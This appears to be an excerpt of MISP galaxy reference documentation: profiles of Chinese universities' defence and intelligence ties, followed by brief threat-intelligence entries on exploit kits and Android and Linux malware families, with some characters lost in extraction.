Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research. The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC's primary nuclear warheads research facility. SCU's Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility. A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit 'likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University's Information Security and Network Attack and Defense Laboratory (四川大学信息安全及 攻防研究室).'

The tag is: *misp-galaxy:china-defence-universities="Sichuan University (四川大学)"*

Table 688. Table References

<a href="https://unitracker.aspi.org.au/universities/sichuan-university">https://unitracker.aspi.org.au/universities/sichuan-university</a>

## Soochow University ( 州大学)

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence industry agency SASTIND since 2016. This arrangement is designed to expand the university's involvement in defense-related research and training. The university has five designated defence disciplines, centred around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defence links, as it has become a major teaching and research base for the nuclear industry. Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the 'Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.'

The tag is: *misp-galaxy:china-defence-universities="Soochow University ( 州大学)"*

Table 689. Table References

-------

## South China University of Technology ( 南理工大学)

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university's involvement in defence-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects. As a result of the university's placement under joint construction and its secret-level security credentials, SCUT's involvement in defence research is likely to grow in coming years. Since 2008, the university has hosted a defence research laboratory on materials science. The lab was initially run by the university's president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (广州南控智能科技有限公司).

The tag is: *misp-galaxy:china-defence-universities="South China University of Technology ( 南理工大学)"*

Table 690. Table References

Links

<https://unitracker.aspi.org.au/universities/south-china-university-of-technology>

## Southeast University ( 南大学)

SEU is a leading Chinese university that engages in high levels of defence research. In 2015, the university undertook RMB180m (AUD37m) of defence research projects, placing it among the Ministry of Education universities most involved in defence research. That figure has almost certainly grown since 2016, when SEU came under a 'joint construction' agreement between the Ministry of Education and defence industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects. The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering ( 空安全学院) have been funded by the MSS, China's civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits and works with PLA cyber security officers. SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy's Submarine Academy visited SEU in 2017. SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China's leading manufacturer of military electronics.

The tag is: *misp-galaxy:china-defence-universities="Southeast University ( 南大学)"*

Table 691. Table References

Links

<https://unitracker.aspi.org.au/universities/southeast-university>

## Southwest University of Science and Technology (西南科技大学)

SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China's nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research. SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university's main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste. SWUST has worked closely with the Chinese Academy of Engineering Physics (China's nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province's 'Civil-military Integration Institute' is a testament to its integration with the military and defence industry.

<https://unitracker.aspi.org.au/universities/southwest-university-of-science-and-technology>

## Space Engineering University (中国人民解放军 战略支援部 航天工程大学)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (装备学院). SEU describes itself as a 'comprehensive university that trains talents for space command management and engineering.' It is intended to serve as the 'cradle of the new PLA's space talent training.' The SEU is subordinate to and supports the PLA Strategic Support Force's Space Systems Department (航天系 部), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department. The SEU offers degree programs at the undergraduate, master's, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors. Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.

<a href="https://unitracker.aspi.org.au/universities/special-police-academy">https://unitracker.aspi.org.au/universities/special-police-academy</a>

## Sun Yat-sen University (中山大学)

SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it come under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU's involvement in the defence industry and defence research is growing. The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million). SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (国家超 算广州中心), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world's fastest from 2013 to 2015. Aside from the supercomputer center, SYSU's Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology. In 2010, the university established a State Secrets Academy (国家保密学院), serving as the third university in China to establish such an institute in partnership with China's National Administration of State Secrets Protection (国家保密局). The Institute carries out research and training on the protection of state secrets.

The tag is: *misp-galaxy:china-defence-universities="Sun Yat-sen University (中山大学)"*

<a href="https://unitracker.aspi.org.au/universities/sun-yat-sen-university">https://unitracker.aspi.org.au/universities/sun-yat-sen-university</a>

## Tianjin Polytechnic University (天津工 大学)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university's development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects. Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU's School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China's textile industry.

<a href="https://unitracker.aspi.org.au/universities/tianjin-polytechnic-university">https://unitracker.aspi.org.au/universities/tianjin-polytechnic-university</a>

## Tianjin University (天津大学)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of 'secret'. It hosts two defence laboratories, working on optoelectronics and propellants. In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team. TJU carries out research for the Ministry of State Security (MSS), China's civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.

Links
<a href="https://unitracker.aspi.org.au/universities/tianjin-university">https://unitracker.aspi.org.au/universities/tianjin-university</a>

## Tongji University (同 大学)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea

geology, which plays an important role in China's deep-sea observation and serves as a significant platform for the country's marine strategy. The university's involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China's marine industry. Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

Links
<a href="https://unitracker.aspi.org.au/universities/tongji-university">https://unitracker.aspi.org.au/universities/tongji-university</a>

## Tsinghua University (清 大学)

Tsinghua University is considered China's leading university in science and technology. Often characterized as 'China's MIT,' Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China's C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields. Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its 'fine tradition' of serving China's national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector. Tsinghua's defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science. The university trains students for China's nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese Academy of Engineering Physics (CAEP)—China's nuclear weapons program. In 2016, CAEP's Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing. Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government's National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA's Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

## University of Electronic Science and Technology of China (电子科技大学)

UESTC was established in 1961 as one of China's first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military's leading electronics manufacturer, China Electronics Technology Group Corporation (CETC). The university is one of China's leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them. UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy's aircraft carrier program. UESTC's defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectric imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million). UESTC's research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps. UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC's primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to develop UESTC's capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

The tag is: *misp-galaxy:china-defence-universities="University of Electronic Science and Technology of China (电子科技大学)"*

Table 700. Table References

<a href="https://unitracker.aspi.org.au/universities/university-of-electronic-science-and-technology-of-china">https://unitracker.aspi.org.au/universities/university-of-electronic-science-and-technology-of-china</a>

## University of International Relations (国际关系学院)

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a ‘national key university’, and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education’s list of subordinate universities. Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (中国当代国际关系研究院). They include Geng Huichang (耿惠昌), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR’s American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate. UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC’s views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence. The university’s Hangzhou campus, also known as the Zhejiang Second People’s Police School, may carry out more practical training of MSS officers and has been described on a local government website as ‘specialising in training special talent’. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

## University of Science and Technology Beijing (北京科技大学)

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research. USTB is known as the ‘cradle of steel’ for its training and research on metallurgy. The university’s defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates. The head of USTB’s Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team. The university holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence technology projects.

Table 702. Table References

Links

<https://unitracker.aspi.org.au/universities/university-of-science-and-technology-beijing>

## University of Science and Technology of China (中国科学技术 大学)

The University of Science and Technology of China is among China's most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue "even more outstanding achievements in teaching and innovation." It is a member of the C9 League and in the "211 Project" and "985 Project." While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

## University of Shanghai for Science and Technology (上海理工大学)

USST describes itself as a 'university with defence characteristics'. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016. It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million). SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university's defence research focuses on these areas. In 2017, The university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

Table 704. Table References

Links

<https://unitracker.aspi.org.au/universities/university-of-shanghai-for-science-and-technology>

## University of South China (南 大学)

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate. USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="University of South China (南 大学)"*

## Wuhan University (武 大学)

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’. WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system. Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.

The tag is: *misp-galaxy:china-defence-universities="Wuhan University (武 大学)"*

Table 706. Table References

<a href="https://unitracker.aspi.org.au/universities/wuhan-university">https://unitracker.aspi.org.au/universities/wuhan-university</a>

## Wuhan University of Technology (武 理工大学)

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research

and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials. The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. ‘In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (空 民融合式空防工程建 科技 新平台合作 )’. The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (空 空防工程建 科技 新平台), with ‘the goal of innovating mutually beneficial technologies.’

## Xi’an Jiaotong University (西安交通大学)

XJTU is subordinate to the Ministry of Education. It is also supervised by SASTIND as part of a program to develop defense research capabilities within Chinese universities. The university describes its strategy as being ‘based in Shaanxi, geared toward the needs of the nation, and serving the national defense industry.’ The university is advanced in its implementation of military-civil fusion and has established strategic partnerships with China Aerospace Science and Technology Corporation, China Aerospace Science and Industry Corporation, and the Aero Engine Corporation of China. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

## Xi’an Technological University (西安工 大学)

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links. The university’s main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons

systems. It holds secret-level security credentials.XATU is a member of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

## Xi'an University of Posts and Telecommunications (西安 大学)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT's faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering.XUPT maintains close links to China's Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS's local counterparts.In November 2013, XUPT partnered with the Shaanxi Municipal Government's public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (公安部子信息勘用技重点实验室). This was the first such joint laboratory that the MPS established with a university in any of China's five north-western provinces.XUPT partnered with Xi'an's Yanta District Public Security Bureau branch in November 2018, establishing the 'Joint Laboratory for Smart Public Security Information Analysis and Applications' (公安信息智能分析及用合室). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

## Xiamen University (厦 大学)

XMU is one of China's leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supervision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to 'upgrade the university's ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.'In 2017, XMU allegedly conspired with Huawei to steal trade

secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company's solid-state drive computer storage technology. The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (福建立恒材料有限公司) and People's Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (海西立恒新材料研究院). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

## Xiangtan University (湘潭大学)

XTU is a university in Chairman Mao Zedong's hometown that has substantially expanded its participation in defence research in recent years. It has been subject to two 'joint construction' agreements between the Hunan Provincial Government and defence industry agency SASTIND that are designed to help the university 'draw out its national defence characteristics'. In the university's own words, its 'military-civil fusion characteristics are becoming clearer with each day', and it increased its spending on military-related projects by 60% from 2017 to 2018, spending over RMB31 million (AUD6 million) in 2018. XTU's defence research covers areas including materials science, energy, measurement technology and electromagnetic waves. The university has developed partnerships with a major PLA nuclear technology research institution, Northwest Institute of Nuclear Technology, and several defence companies, including subsidiaries of arms manufacturer Norinco Group and defence aviation conglomerate Aero Engine Corporation of China. XTU holds secret-level security credentials, allowing it to participate in classified defence technology projects.

## Xidian University (西安 电子科技大学)

Xidian University is among China's top universities for research on antennas, radar, electronic countermeasures and computer science. The university is subordinate to the Ministry of Education and is also jointly supervised by defence industry agency SASTIND and defence electronics conglomerate CETC. It claims it has 'made important contributions to military modernisation'. The university is closely tied to China's defence industry and the PLA. It runs at least five defence laboratories and partners with the PLA's signals intelligence organization. Xidian appears to be an important training ground for Chinese military hackers. According to Xidian's party secretary, the

university has had an ‘unbreakable bond with secret intelligence work since its beginning’. It also holds secret-level security credentials that allow it to work on classified weapons projects.

## Yanshan University (燕山大学)

The university was formed as an offshoot of Harbin Institute of Technology, one of China’s top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND. YSU’s Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university’s involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering. The university holds secret-level security credentials.

## Yunnan Normal University (云南 大学)

YNNU is a Chinese university subordinate to the Yunnan Provincial Government. Since 2013 it has also been supervised by the Ministry of Education. The university has been focused on training teacher since its inception as the Kunming Teachers College (昆明示 学院) in 1950. YNNU now has a broader focus on a variety of humanities, social and natural science disciplines. YNNU is organised into numerous faculties, some of which are relevant for communist party cadre training:

## Zhejiang University (浙江大学)

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepen the university's involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects. The university's total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (国家重点 实验室) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China's civilian intelligence agency. ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S. company Microsoft.

## DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants—variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: `misp-galaxy:exploit-kit="DealersChoice"`

DealersChoice is also known as:

- Sednit RTF EK

## Taurus Builder

Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The

kit is advertised on forums by the user "badbullzvenom".

The tag is: *misp-galaxy:exploit-kit="Taurus Builder"*

## RIG

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: *misp-galaxy:exploit-kit="RIG"*

RIG is also known as:

- RIG 3
- RIG-v
- RIG 4
- Meadgive

## GreenFlash Sundown

GreenFlash Sundown is a variation of Bizarro Sundown without landing

The tag is: *misp-galaxy:exploit-kit="GreenFlash Sundown"*

GreenFlash Sundown is also known as:

- Sundown-GF

*Table 761. Table References*

Links
<a href="http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/">http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/</a>

## Angler

The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notably to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC

The tag is: *misp-galaxy:exploit-kit="Angler"*

Angler is also known as:

- XXX
- AEK
- Axpergle

*Table 762. Table References*

# Catelites

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

# GPlayed

Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.

# Gustuff

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

## RedAlert2

RedAlert 2 is a new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

The tag is: *misp-galaxy:malpedia="RedAlert2"*

RedAlert2 is also known as:

Table 843. Table References

## Retefe (Android)

The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor.

Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim's phone doesn't get infected.

## Triout

Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware's surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

## Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.

This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

## pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (ELF)"*

pupy (ELF) is also known as:

Table 907. Table References

## AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process -log keystroke -take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to download the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: *misp-galaxy:malpedia="AdWind"*

AdWind is also known as:

- AlienSpy
- Frutas
